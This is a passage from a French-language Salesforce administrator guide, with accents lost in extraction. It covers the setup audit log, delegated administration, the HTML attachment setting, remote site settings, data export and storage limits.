xsi:type=xs:anyType>00DD0000000F7Z5</saml:AttributeValue> </saml:Attribute> <saml:Attribute
Name="ssostartpage" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">
http://www.salesforce.com/qa/security/saml/saml20-gen.jsp </saml:AttributeValue>
</saml:Attribute>

Scurit et partage

Guide de l'utilisateur | Surveillance des modifications de configuration | 206

<saml:Attribute Name="logouturl"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">
http://www.salesforce.com/qa/security/del_auth/SsoLogoutPage.html </saml:AttributeValue>
</saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response>

Voir aussi :
A propos des Connexions uniques
Configuration des paramtres SAML pour la connexion unique
Meilleures pratiques pour la mise en oeuvre d'une connexion unique
Prsentation du portail partenaire

Surveillance des modifications de configuration

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher l'historique du journal d'audit :

Afficher la configuration

L'historique du journal d'audit de configuration vous permet d'effectuer le suivi des dernires modifications de configuration
apportes votre organisation par vous-mme et par d'autres administrateurs. Cette possibilit de suivi est particulirement
utile dans les organisations qui comptent plusieurs administrateurs.
Pour afficher l'historique du journal d'audit de configuration, cliquez sur Configuration Commandes de scurit
Afficher le journal d'audit de configuration. Pour tlcharger l'historique de configuration complet de votre organisation
pour les 180 jours prcdents, cliquez sur le lien Tlcharger.
L'historique du journal d'audit de configuration prsente les 20 dernires modifications de configuration apportes votre
organisation. Il rpertorie la date, l'auteur et la nature de la modification.
L'historique du journal d'audit de configuration assure le suivi des types de modification suivants :
Configuration

Modifications suivies

Administration

Modifications apportes aux informations sur la socit, aux paramtres par dfaut comme la langue
ou les paramtres rgionaux, et au message de la socit
Modifications apportes la configuration multidevise
Modifications apportes aux utilisateurs, aux utilisateurs de portail, aux rles et aux profils
Modifications apportes l'adresse e-mail des utilisateurs
Modifications apportes aux types d'enregistrement, notamment la cration de types d'enregistrement
ou l'attribution d'un nouveau nom un type d'enregistrement, ainsi que l'attribution de types
d'enregistrement aux profils

Scurit et partage

Configuration

Personnalisation

Guide de l'utilisateur | Surveillance des modifications de configuration | 207

Modifications suivies

Modifications apportes aux services, notamment la cration et la modification de services, le transfert

de services et la modification du service par dfaut des utilisateurs

Modifications apportes aux paramtres de l'interface utilisateur, tels que les sections pouvant tre
rduites, la cration rapide, les dtails de placement ou les liens de placement de la liste associe
Modifications apportes aux prsentations de page et de recherche
Modifications l'aide de la modification en ligne
Modifications apportes aux champs personnaliss et la scurit au niveau du champ notamment
les formules, les valeurs de listes de slection et les attributs des champs personnaliss tels que le
format des champs de numrotation automatique ou le masquage des champs crypts
Modifications apportes aux paramtres de piste, aux rgles d'attribution de piste et aux files d'attente
de pistes
Modifications apportes aux paramtres d'activit
Modifications apportes aux paramtres de support, aux heures d'ouverture, aux rgles d'attribution
et de hirarchisation des requtes et aux files d'attente de requtes
Modifications apportes par le support client salesforce.com votre demande
Modifications apportes au nom des onglets, notamment aux onglets dont vous rtablissez le nom
d'origine
Modifications apportes aux sous-applications, objets et onglets personnaliss
Modifications apportes aux paramtres de contrat
Modifications apportes aux paramtres des prvisions
Activation ou dsactivation de la fonction E-mail vers requte ou E-mail vers requte la demande
Modification des boutons, liens et commandes s-control personnaliss, notamment le remplacement
de boutons standard
Activation ou dsactivation de la planification par glisser-dplacer
Activation, dsactivation ou personnalisation des opportunits similaires
Modification de groupes de catgories de donnes et de catgories de donnes
Modification de types d'articles
Modification de groupes de catgories et de catgories

Scurit et partage

Les groupes publics, partageant les changements de rgles et le partage de l'entreprise, notamment
l'option Octroyer laccs l'aide des hirarchies
Modifications apportes aux stratgies de mot de passe
Modifications apportes aux paramtres de session, telles que la modification du paramtre
d'expiration de session
Modifications apportes aux groupes d'administrateurs dlgus et aux lments que les
administrateurs dlgus peuvent grer. Les modifications de configuration apportes par les
administrateurs dlgus font galement l'objet d'un suivi.
Nombre d'enregistrements qu'un utilisateur a supprims de sa Corbeille et de la Corbeille de
l'organisation
Modification des paramtres de configuration du SAML (Langage Balis permettant d'changer
des informations lies la scurit)

Scurit et partage

Guide de l'utilisateur | Surveillance des modifications de configuration | 208

Configuration

Modifications suivies

Gestion des
donnes

Utilisation de la suppression en masse, notamment lorsqu'une opration dpasse la limite de la

Corbeille de l'utilisateur, c'est--dire 5 000 enregistrements supprims. Les plus anciens
enregistrements sont dfinitivement supprims de la Corbeille dans les deux heures qui suivent
l'heure de la suppression en masse.
Demandes d'exportation hebdomadaire des donnes
Utilisation de l'assistant d'importation de membre de campagne
Utilisation du transfert en masse
Modification des instantans analytiques, comprenant la dfinition, la suppression ou encore la
modification du rapport source ou de l'objet cible dans un instantan analytique
Utilisation de l'assistant d'importation

Dveloppement

Modification des classes et dclencheurs Apex

Changements apports aux pages Visualforce, aux composants personnaliss ou aux ressources
statiques.

Configurations
diverses

Cration d'une notification de mesure de l'utilisation de l'API

Modifications apportes aux territoires
Modification des paramtres Workflow et Approbations
Modifications apportes aux processus d'approbation
Cration et suppression d'actions de workflow
Packages de Force.com AppExchange que vous avez installs ou dsinstalls.

Utilisation de
l'application

Modifications apportes aux paramtres des ventes en quipe de comptes et en quipe d'opportunits
Activation des services Google Apps
Modifications des paramtres de Salesforce CRM Ideas
Modification des paramtres de configuration mobile, dont les ensembles de donnes, les vues
mobiles et les champs exclus
Utilisateur autoris Grer les partenaires et qui se connecte au portail partenaire en tant
qu'utilisateur partenaire
Utilisateur autoris Modifier les utilisateurs libre-service , qui se connecte au portail
clientSalesforce.com en tant qu'utilisateur du portail client
Activation ou dsactivation d'un compte du portail client
Dsactivation d'un compte du portail client Salesforce.com
Activation ou dsactivation d'un portail client Salesforce.com et cration de plusieurs portails client
Activation ou dsactivation de l'auto-inscription un portail client Salesforce.com
Activation ou dsactivation d'utilisateurs du portail client ou du portail partenaire

Scurit et partage

Guide de l'utilisateur | Dlgation des tches administratives | 209

Dlgation des tches administratives

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dlguer l'administration :

Personnaliser l'application

Pour accder au statut d'administrateur dlgu :

Afficher la configuration

Utilisez l'administration dlgue pour affecter des autorisations administratives restreintes des utilisateurs non administrateurs
de votre organisation.
Les administrateurs dlgus peuvent effectuer les tches suivantes :

Cration et modification des utilisateurs et rinitialisation des mots de passe des utilisateurs dots des rles spcifis et tous
les rles subordonns, y compris dfinition de quotas, cration d'quipes de vente par dfaut et de groupes personnels pour
ces utilisateurs.
Attribution d'utilisateurs des profils prcis.
Connexion sous l'identit d'un utilisateur ayant accord l'administrateur son autorisation d'accs la connexion
Gestion des objets personnaliss crs par un administrateur.

Par exemple, vous voudrez peut-tre autoriser le responsable de l'quipe de support client crer et modifier les utilisateurs
dans le rle Responsable du support et tous les rles subordonns. Cela permet l'administrateur de se concentrer sur les tches
autres que la gestion des utilisateurs dans chaque service utilisant Salesforce.com.
Pour grer vos groupes dlgus :

Cliquez sur Nouveau pour crer un groupe.

Cliquez sur Modifier en regard d'un groupe pour le modifier.
Slectionnez un groupe et cliquez sur Supprimer pour le supprimer.
Slectionnez un groupe et cliquez sur Supprimer en regard de l'utilisateur dans la liste associe Administrateurs dlgus
pour supprimer un utilisateur du groupe dlgu.
Remarque: Pour dlguer l'administration des objets spcifiques, utilisez les autorisations au niveau de l'objet telles
que Afficher tout et Modifier totu. Pour plus d'informations, reportez-vous Autorisations d'objet standard et
personnaliss la page 130.

Voir aussi :
Dfinition d'administrateurs dlgus
Dlgation de l'administration des utilisateurs
Dlgation de l'administration d'un objet personnalis

Scurit et partage

Guide de l'utilisateur | Dlgation des tches administratives | 210

Dfinition d'administrateurs dlgus

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dlguer l'administration :

Personnaliser l'application

Pour accder au statut d'administrateur dlgu :

Afficher la configuration

Dfinissez des groupes d'administration dlgus pour spcifier les groupes d'utilisateurs devant avoir les mmes autorisations
administratives. Ces groupes ne sont pas associs aux groupes publics utiliss pour le partage.
1.
2.
3.
4.

5.
6.
7.
8.
9.

Cliquez sur Configuration Commandes de scurit Administration dlgue.

Cliquez sur Nouveau.
Saisissez le nom du groupe.
Slectionnez Activer l'accs la connexion du groupe pour autoriser les administrateurs dlgus de ce
groupe se connecter en tant qu'utilisateurs ayant accord leurs administrateurs l'accs la connexion et ayant les rles
slectionns pour le groupe d'administrateurs dlgus. Pour savoir comment les utilisateurs peuvent accorder aux
administrateurs une autorisation d'accs la connexion, reportez-vous Autorisation d'accs la connexion la page 22.
Cliquez sur Enregistrer.
Cliquez sur Ajouter dans la liste associe Administrateurs dlgus pour spcifier les utilisateurs figurant dans ce groupe
dlgu.
Utilisez l'icne de recherche reprsentant une loupe pour rechercher des utilisateurs et les ajouter au groupe. Les utilisateurs
doivent possder l'autorisation Afficher la configuration.
Cliquez sur Enregistrer.
Pour spcifier les tches que peuvent accomplir les utilisateurs, reportez-vous Dlgation de l'administration des utilisateurs
la page 211 et Dlgation de l'administration d'un objet personnalis la page 212.

Voir aussi :
Dlgation des tches administratives

Scurit et partage

Guide de l'utilisateur | Dlgation des tches administratives | 211

Dlgation de l'administration des utilisateurs

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dlguer l'administration :

Personnaliser l'application

Pour accder au statut d'administrateur dlgu :

Afficher la configuration

Autorisez les administrateurs dlgus grer les utilisateurs dans les rles spcifis et tous les rles subordonns, attribuez
des profils prcis ces utilisateurs et connectez-vous comme utilisateur ayant autoris l'accs la connexion aux administrateurs.
Cliquez sur Configuration Commandes de scurit Administration dlgue.
Slectionnez le nom d'un groupe d'administration dlgu existant.
Cliquez sur Ajouter dans la liste associe Gestion des utilisateurs.
Utilisez l'icne de recherche reprsentant une loupe pour rechercher et ajouter des rles. Les administrateurs dlgus
peuvent crer et modifier les utilisateurs dans ces rles et tous les rles subordonns.
5. Cliquez sur Enregistrer.
6. Cliquez sur Ajouter dans la liste associe Profils pouvant tre affects.
7. Utilisez l'icne de recherche reprsentant une loupe pour rechercher et ajouter des profils. Les administrateurs dlgus
peuvent affecter ces profils aux utilisateurs qu'ils crent et modifient. Notez que les profils autoriss modifier toutes les
donnes ne peuvent pas tre affects par des administrateurs dlgus.
1.
2.
3.
4.

Remarque: Si un utilisateur est membre de plusieurs groupes d'administration dlgus, sachez qu'il peut affecter
n'importe quel profil attribuable tous les utilisateurs dans les rles qu'il peut grer.
8. Cliquez sur Enregistrer.
9. Reportez-vous Dlgation de l'administration d'un objet personnalis la page 212 pour spcifier les objets personnaliss
que les administrateurs dlgus peuvent grer.
Pour supprimer des rles ou des profils de la liste des lments que les administrateurs dlgus peuvent utiliser, cliquez sur
Supprimer en regard du rle ou du profil.

Voir aussi :
Dfinition d'administrateurs dlgus
Dlgation des tches administratives

Scurit et partage

Guide de l'utilisateur | Dlgation des tches administratives | 212

Dlgation de l'administration d'un objet personnalis

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dlguer l'administration :

Personnaliser l'application

Pour accder au statut d'administrateur dlgu :

Afficher la configuration

Permettez aux administrateurs dlgus de grer les objets personnaliss ayant t crs par un administrateur.
1. Cliquez sur Configuration Commandes de scurit Administration dlgue.
2. Slectionnez le nom d'un groupe d'administration dlgu existant.
3. Dans la page de dtails du groupe d'administration dlgu, cliquez sur Ajouter dans la liste associe Gestion des objets
personnaliss.
4. Utilisez l'icne de recherche reprsentant une loupe pour rechercher et ajouter des objets personnaliss. Les administrateurs
dlgus peuvent personnaliser presque tous les aspects d'un objet personnalis, y compris la cration d'un onglet personnalis.
5. Cliquez sur Enregistrer. Cliquez sur Enregistrer et Suite pour ajouter des objets personnaliss supplmentaires.
Pour supprimer un objet personnalis de la liste des lments que les administrateurs dlgus peuvent grer, cliquez sur
Supprimer en regard de cet objet.

Remarques sur l'administration dlgue des objets

personnaliss

Les administrateurs dlgus peuvent personnaliser presque tous les aspects de l'objet personnalis, y compris la cration
d'un onglet personnalis. Cependant, ils ne peuvent ni crer ni modifier des relations sur l'objet, ni dfinir les paramtres
de partage par dfaut l'chelle de l'organisation.
Les administrateurs dlgus doivent avoir accs aux objets personnaliss pour pouvoir accder aux champs de fusion sur
ces objets partir des formules.

Voir aussi :
Dfinition d'administrateurs dlgus
Dlgation de l'administration des utilisateurs
Dlgation des tches administratives

Scurit et partage

Guide de l'utilisateur | Activation du rapport du responsable du compte | 213

Limites d'utilisation simultane

Disponible avec : Toutes les ditions

Pour veiller ce que les ressources soient disponibles pour tous les utilisateurs de Salesforce.com, des limites sont imposes
sur le nombre de requtes Web excution prolonge qu'une entreprise peut envoyer la fois. Ce type de limite est appel
limite maximale de requtes Web simultanes. Salesforce.com surveille le nombre de requtes simultanes mises par tous les
utilisateurs connects dans votre entreprise et compare ce nombre la limite maximale. Ainsi, salesforce.com maintient le
nombre de requtes simultanes sous la limite maximale. La limite garantit que les ressources sont uniformment disponibles
pour toutes les entreprises et vite la surconsommation dlibre ou accidentelle des ressources par une entreprise particulire.
Si un nombre trop important de requtes est mis par des utilisateurs de votre entreprise, vous devrez peut-tre patienter jusqu'
ce que l'un d'eux ait termin avant d'effectuer votre tche. Supposons par exemple que MonEntreprise compte 100 000
utilisateurs. A 9 h 00, chaque utilisateur demande un rapport contenant 200 000 enregistrements. Salesforce.com commence
excuter le rapport pour tous les utilisateurs jusqu' ce que le nombre maximum de requtes simultanes soit atteint. A ce
stade, Salesforce.com refuse les requtes supplmentaires jusqu' ce que certains des rapports soient termins.
Des limites similaires sont imposes sur les requtes mises partir de l'API des services Web Force.com. Pour plus
d'informations, voir Limites d'utilisation des API Force.com la page 991.

Activation du rapport du responsable du compte

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition.

Autorisations utilisateur requises

Pour afficher ou masquer le rapport du responsable du compte : Autorisation de personnalisation de l'application

Les entreprises dont l'accs de partage au niveau global est dfini sur Priv pour les comptes peuvent limiter l'excution par
les utilisateurs du rapport du responsable du compte, qui rpertorie tous les comptes et leurs responsables.
Pour afficher ou masquer ce rapport :
1. Cliquez sur Configuration Commandes de scurit.
2. Cliquez sur Rapport du responsable du compte. Cette option n'est disponible que dans les organisations disposant d'un
modle de partage de compte priv.
3. Cochez la case permettant aux utilisateurs de gnrer ce rapport. Si cette case n'est pas slectionne, seuls les administrateurs
et les utilisateurs autoriss afficher toutes les donnes peuvent gnrer ce rapport.
4. Cliquez sur Enregistrer.

Scurit et partage

Guide de l'utilisateur | Refus des pices jointes et des documents HTML | 214

Refus des pices jointes et des documents HTML

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour interdire le tlchargement de pices jointes et de
documents HTML :

Personnaliser l'application

Pour des raisons de scurit, votre entreprise peut tre amene interdire aux utilisateurs de tlcharger des fichiers HTML.
S'il est activ, le paramtre de scurit Refuser les pices jointes et les documents HTML empche les utilisateurs
de tlcharger un fichier vers l'onglet Documents ou en tant que pice jointe vers un enregistrement s'il a l'une des extensions
suivantes : htm, html, htt, htx, mhtm, mhtml, shtm, shtml, acgi.
Pour interdire le tlchargement de pices jointes et de documents HTML :
1. Cliquez sur Configuration Contrles de scurit Paramtres des pices jointes et des documents HTML.
2. Cochez la case Refuser les pices jointes et les documents HTML.
3. Cliquez sur Enregistrer.
Remarque: Les pices jointes HTML ne sont pas autorises sur les solutions, que ce paramtre de scurit soit ou
non activ. En outre, ce paramtre ne concerne pas les pices jointes des modles d'e-mail, ces dernires tant toujours
autorises.
Une fois ce paramtre activ, les documents et les pices jointes HTML prcdemment tlchargs ne sont pas affects.
Toutefois, lorsque les utilisateurs tentent de visualiser une pice jointe ou un document HTML, ils sont invits ouvrir
le fichier dans le navigateur, l'enregistrer sur leur ordinateur ou annuler l'opration.
ATTENTION: N'activez pas ce paramtre si votre organisation utilise le portail partenaires Salesforce.com pour
permettre vos utilisateurs partenaires d'accder Salesforce.com.

Voir aussi :
Ajout de pices jointes
Tlchargement amont et remplacement de documents

Scurit et partage

Guide de l'utilisateur | Configuration des paramtres distance | 215

Configuration des paramtres distance

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer les paramtres distance :

Modifier toutes les donnes

Avant de pouvoir appeler un site externe avec une page Visualforce, un appel Apex ou un code JavaScript l'aide de
XmlHttpRequest dans une commande s-control ou un bouton personnalis, ce site doit tre enregistr dans la page Paramtres
du site distant, ou bien l'appel choue.
Pour accder la page, cliquez sur Configuration Contrles de scurit Paramtres du site distant. Cette page rpertorie
tous les sites distants dj enregistrs et fournit des informations supplmentaires sur chaque site, notamment l'URL et le nom
du site distant.
Pour des raisons de scurit, Salesforce.com applique l'une des restrictions suivantes aux ports de sortie spcifis :

80: Ce port n'accepte que les connexions HTTP.

443: Ce port n'accepte que les connexions HTTP.
7000 10000 (inclus) : Ces ports acceptent les connexions HTTP ou HTTPS.

Pour enregistrer un nouveau site :

1.
2.
3.
4.

Cliquez sur Nouveau site distant.

Saisissez un terme descriptif pour le nom du site distant.
Saisissez l'URL du site distant.
Pour permettre aux commandes s-control d'accder un site distant, que la connexion de l'utilisateur se fasse sur HTTP
ou HTTPS, cochez la case Dsactiver la scurit de protocole. Quand elles sont slectionnes, les commandes
s-control peuvent faire circuler des donnes d'une session HTTPS vers une session HTTP, et inversement. Cochez
uniquement cette case si vous comprenez les implications en matire de scurit.
5. Entrez ventuellement la description du site.
6. Cliquez sur Enregistrer pour terminer l'opration ou cliquez sur Enregistrer et Nouveau pour enregistrer votre travail et
enregistrer un autre site.

Gestion des donnes

Exportation des donnes de sauvegarde
Disponible avec : Enterprise Edition et Unlimited Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour exporter des donnes :

Exportation hebdomadaire de donnes

Votre organisation peut s'inscrire pour recevoir des fichiers de sauvegarde de vos donnes. Vous pouvez exporter toutes les
donnes de votre organisation sous forme de fichiers CSV (valeurs spares par des virgules). Pour vous inscrire au Service
d'exportation des Donnes, contactez salesforce.com.
Remarque: Si vous donnez un utilisateur l'autorisation pour l'Exportation hebdomadaire de donnes, ncessaire
toute importation de donnes, ce dernier aura accs toutes les donnes exportes et pourra visualiser tous les objets
personnaliss et les champs de la page Service d'Exportation Hebdomadaire. Cette autorisation est accorde par dfaut
au profil d'Administrateur Systme uniquement, en raison de la grande visibilit qu'elle permet.
Si votre entreprise est configure pour l'exportation de donnes, il est possible de gnrer manuellement les fichiers de sauvegarde
une fois tous les six jours, ou bien de les programmer afin qu'ils soient gnrs automatiquement toutes les semaines ou tous
les mois.
1. Cliquez sur Configuration Gestion des donnes Exporter les donnes et Exporter maintenant ou Planifier
l'exportation. L'option Exporter maintenant prpare les fichiers une exportation immdiate. Cette option n'est propose
que si la dernire exportation a eu lieu il y a plus d'une semaine. L'option Planifier l'exportation permet de programmer
le processus d'exportation une fois par semaine ou une fois par mois.
2. Slectionnez le codage souhait pour votre fichier d'exportation.
3. Slectionnez Inclure les pices jointes si vous souhaitez que vos donnes d'exportation incluent des pices
jointes.
4. Slectionnez Remplacer les retours la ligne par des espaces pour que les fichiers d'exportation
contiennent des espaces au lieu de retours chariot ou de sauts de ligne. Cela peut tre utile si vous envisagez d'utiliser les
fichiers d'exportation pour importer des donnes ou effectuer d'autres intgrations.
5. Si vous planifiez votre exportation, choisissez galement la frquence, les dates de dbut et de fin ainsi que l'heure de
lancement de l'exportation.
6. Slectionnez les types de donnes inclure dans votre exportation. Le cas chant, vous pouvez inclure toutes les donnes
dans votre fichier d'exportation. Nous vous recommandons d'inclure toutes les donnes si vous ne matrisez pas la terminologie
propre certains types de donnes. Notez les lments suivants :

Les champs de formule et rcapitulatifs de cumul sont toujours exclus des exportations.
Si votre organisation utilise des services, les donnes de tous les services sont incluses dans l'exportation.
Si votre entreprise utilise des comptes personnels et que vous exportez des comptes, tous les champs de compte sont
inclus dans les donnes de compte.

Gestion des donnes

Guide de l'utilisateur | Exportation des donnes de sauvegarde | 217

Si votre entreprise utilise des comptes personnels et que vous exportez des contacts, les enregistrements de compte
personnel sont inclus dans les donnes de contact. Toutefois, les donnes de contact ne comprennent que les champs
partags par les contacts et les comptes personnels.

7. Si vous lancez l'exportation maintenant, cliquez sur Dmarrer l'exportation. Si vous programmez l'exportation, cliquez
sur Enregistrer.
Salesforce.com cre une archive zip de fichiers CSV et vous l'envoie par e-mail lorsqu'elle est prte. L'exportation se termine
gnralement sous 48 heures compter de sa soumission. Suivez le lien de l'e-mail ou cliquez sur Exportation de donnes
pour tlcharger le fichier zip. Les fichiers zip sont supprims 48 heures aprs l'envoi de l'e-mail.
Remarque: Pour des raisons de scurit, Salesforce.com peut inviter les utilisateurs passer un test de vrification
avant d'exporter les donnes de leur organisation. Ce test de saisie tout simple permet d'empcher les programmes
malveillants d'accder aux donnes de votre entreprise.
Pour russir le test, l'utilisateur doit saisir les deux mots affichs sur la fentre superpose dans la zone de texte,
puis cliquer sur le bouton Envoyer. Remarque : les mots saisis dans la zone de texte doivent tre spars par un
espace.
Salesforce.com utillise la technologie CAPTCHA fournie par reCaptcha pour vrifier qu'une personne, et non un
programme automatis, a correctement saisi le texte dans le plan. CAPTCHA est un acronyme qui signifie test
public de Turing compltement automatique ayant pour but de diffrencier les humains des ordinateurs.
En fonction du codage slectionn, vous devrez peut-tre ajuster le fichier d'exportation avant de l'afficher. Suivez les instructions
ci-aprs qui s'appliquent au codage de caractres que vous avez slectionn.
Affichage de fichiers d'exportation cods Unicode (UTF-8)
Si vous utilisez Microsoft Excel 2003 :
1.
2.
3.
4.
5.
6.
7.

Ouvrez Microsoft Excel.

Cliquez sur Fichier Nouveau.
Cliquez sur Donnes Importer donnes externes Importer les donnes.
Slectionnez le fichier CSV ouvrir. Microsoft Excel lance alors l'assistant d'importation de texte.
Slectionnez Dlimit et choisissez l'option Unicode (UTF-8) comme origine du fichier.
Cliquez sur Suivant.
Slectionnez Virgule dans la section Sparateurs, puis cliquez sur Fin. Il se peut que le systme vous invite slectionner
une plage de cellules.
Remarque: Si la virgule ne convient pas vos paramtre rgionaux, utilisez une tabulation ou un autre sparateur.

8. Rptez ces tapes pour chaque fichier.

Si vous utilisez une version antrieure de Microsoft Excel (antrieure 2003) :
1.
2.
3.
4.
5.
6.
7.

Ouvrez le fichier dans Microsoft Excel.

Slectionnez Fichier Enregistrer sous.
Enregistrez le fichier en tant que page Web.
Slectionnez Outils Options, puis dans l'onglet Gnral, cliquez sur le bouton Options Web
Slectionnez l'onglet Codage et choisissez l'option Unicode (UTF-8).
Cliquez sur OK pour fermer les botes de dialogue.
Slectionnez Fichier Enregistrer pour enregistrer le fichier avec le codage slectionn.

Gestion des donnes

Guide de l'utilisateur | Surveillance des ressources | 218

8. Rptez ces tapes pour chaque fichier.

Affichage de fichiers d'exportation cods Unicode (UTF-16, Big Endian)
Ouvrez les fichiers d'exportation dans un diteur de texte qui prend en charge ce jeu de caractres. Microsoft Excel ne prend
pas en charge ce jeu de caractres.
Affichage de fichiers d'exportation cods Unicode (Little Endian)
1.
2.
3.
4.
5.

Ouvrez le fichier dans Microsoft Excel.

Cliquez sur la colonne A pour mettre en surbrillance l'intgralit de la premire colonne.
Ouvrez le menu Donnes et choisissez Texte en colonnes.
Slectionnez le bouton radio Dlimit, puis cliquez sur Suivant.
Slectionnez Virgule dans la section Sparateurs, puis cliquez sur Fin.
Remarque: Si la virgule ne convient pas vos paramtre rgionaux, utilisez une tabulation ou un autre sparateur.

6. Rptez ces tapes pour chaque fichier.

Surveillance des ressources

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher l'espace de stockage :

Grer les utilisateurs

Vous pouvez effectuer le suivi de l'espace de stockage utilis par votre organisation. Chaque utilisateur peut consulter l'espace
de stockage qu'il occupe dans ses informations personnelles (reportez-vous Modification des informations personnelles la
page 20).
Il existe deux catgories de stockage : le stockage de donnes et le stockage de fichiers. Le stockage de fichiers inclut des fichiers
dans des pices jointes, l'onglet Documents et Salesforce CRM Content. Le stockage de donnes inclut les lments suivants
:

Compte
Types d'articles (format : [Version Nom de type d'article] )
Campagnes
Membres de campagne
Requtes
quipes de requtes
Contacts
Contrats
Objets personnaliss
Messages e-mails
vnements

Gestion des donnes

Guide de l'utilisateur | Surveillance des ressources | 219

lments de prvision
Documents Google
Ides
Piste
Remarques
Opportunits
Solutions
Balises : Baliser les applications
Balises : Balises uniques
Tches

Le stockage de donnes et le stockage de fichiers ne sont pas calculs simultanment. Par consquent, si vous importez ou
ajoutez un nombre important d'enregistrements ou de fichiers, l'espace de stockage utilis de votre organisation n'est pas mis
jour immdiatement.
Chaque dition inclut une quantit minimale de stockage de donnes et de stockage de fichiers. Professional Edition, Enterprise
Edition et Unlimited Edition reoivent une quantit de stockage par utilisateur multiplie par le nombre d'utilisateurs dans
votre organisation si le rsultat est suprieur la quantit minimale de stockage. Exemple de quantit de stockage : une
organisation Enterprise Edition de 600 utilisateurs reoit 12 000 Mo (12 Go) d'espace de stockage de donnes, soit 20 Mo
par utilisateur multiplis par 600 utilisateurs. Une organisation plus petite, par exemple une organisation Professional Edition
de 20 utilisateurs, reoit 1 Go d'espace de stockage ; 20 Mo par utilisateur multiplis par 20 utilisateurs donnent 600 Mo,
valeur infrieure la quantit minimale de 1 Go attribue aux organisations Professional Edition.
Les valeurs de la colonne Licence d'espace de stockage par utilisateur ci-dessous s'appliquent aux licences utilisateur de
Salesforce.com CRM et Salesforce.com Platform. La licence utilisateur Salesforce.com Platform Light fournit 1 Mo d'espace
de stockage de donnes et 1 Mo d'espace de stockage de fichiers.
Remarque: La seule licence de fonctionnalit qui fournit un espace de stockage supplmentaire est la licence utilisateur
Salesforce CRM Content ; chaque licence utilisateur Salesforce CRM Content fournit un espace de stockage
supplmentaire de 500 Mo.
Edition Salesforce.com

Espace de stockage de
donnes minimal par
organisation.

Espace de stockage de
fichiers minimal par
organisation.

Licence d'attribution de
stockage par utilisateur

Personal

20 Mo (environ 10 000
enregistrements)

20 Mo

N/A

Responsable de contact

1 Go

1 Go

N/A

Groupe

1 Go

1 Go

N/A

Professional

1 Go

1 Go

20 Mo de stockage de donnes
et 100 Mo de stockage de
fichiers

Enterprise

1 Go, plus 2 Mo pour chaque 1 Go

licence Silver Partner et 5 Mo
pour chaque licence Gold
Partner

20 Mo de stockage de donnes
et 100 Mo de stockage de
fichiers

Gestion des donnes

Guide de l'utilisateur | Surveillance des ressources | 220

Edition Salesforce.com

Espace de stockage de
donnes minimal par
organisation.

Espace de stockage de
fichiers minimal par
organisation.

Illimit

1 Go, plus 2 Mo pour chaque 1 Go

licence Silver Partner et 5 Mo
pour chaque licence Gold
Partner

120 Mo de stockage de
donnes et 100 Mo de
stockage de fichiers

Dveloppeur

20 Mo

N/A

20 Mo

Licence d'attribution de
stockage par utilisateur

Si votre organisation utilise des licences personnalises, contactez salesforce.com pour savoir si ces licences fournissent de
l'espace de stockage supplmentaire. Pour obtenir la description des licences utilisateur, reportez-vous Affichage des types
de licence utilisateur la page 150.
Pour afficher l'utilisation actuelle du stockage par votre organisation, cliquez sur Configuration Gestion des donnes
Utilisation du stockage. Vous pouvez identifier l'espace disponible pour stocker des donnes et des fichiers, la quantit d'espace
utilise par type d'enregistrement, les utilisateurs qui utilisent le plus d'espace et les fichiers les plus volumineux classs par
taille. Pour connatre le type des donnes stockes par un utilisateur spcifique, cliquez sur le nom de ce dernier.
Dans toutes les ditions l'exception de Personal Edition, les administrateurs peuvent afficher l'utilisation du stockage utilisateur
par utilisateur :
1. Cliquez sur Configuration Gestion des utilisateurs Utilisateurs.
2. Cliquez sur le nom d'un utilisateur.
3. Cliquez sur Afficher en regard des champs Espace des donnes utilis ou Espace des fichiers utilispour
consulter l'espace de stockage occup par chaque utilisateur, pour chaque type d'enregistrement en fonction du type
d'enregistrement.
Considrations pour le stockage
Prenez en considration les lments suivants lors de la planification de vos besoins de stockage :

Les comptes personnels sont pris en compte dans le stockage des comptes ainsi que dans le stockage des contacts. Ceci est
d au fait que l'API considre que chaque compte personnel est compos d'un compte ainsi que d'un contact.
Les activits archives entrent en ligne de compte dans le stockage.
Aucun des lments suivants n'entre en compte dans le stockage : les produits archivs, catalogues archivs, entres du
catalogue archives et actifs archivs.
Rien de ce qui est supprim n'entre en compte dans le stockage.

Voir aussi :
ditions Salesforce.com et limitations
Limites concernant l'utilisation de l'API Force.com

Gestion des donnes

Guide de l'utilisateur | Prsentation du transfert d'enregistrements | 221

Prsentation du transfert d'enregistrements

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour transfrer plusieurs comptes, campagnes, contacts,
contrats et objets personnaliss :

Transfrer l'enregistrement
ET
Modifier dans le type d'objet

Pour transfrer plusieurs pistes :

Transfrer les pistes OU transfrer l'enregistrement

ET
Modifier dans les pistes

Pour transfrer plusieurs requtes :

Transfrer les requtes OU transfrer l'enregistrement

ET
Modifier dans les requtes

Un responsable d'enregistrement ou tout utilisateur de niveau suprieur dans la hirarchie des rles ou des territoires, peut
transfrer un enregistrement unique vers un autre utilisateur. Avec certains objets, notamment les requtes, les pistes et les
campagnes, un utilisateur peut tre autoris transfrer des enregistrements via le partage. Selon le type d'objet, plusieurs
mthodes de transfert d'enregistrements entre les utilisateurs existent :
Mthode

Disponible pour

Transfrer un enregistrement unique

Comptes, campagnes, requtes, contacts, contrats, pistes et

objets personnaliss

Transfrer plusieurs enregistrements en les slectionnant dans Requtes, pistes et objets personnaliss qui peuvent appartenir
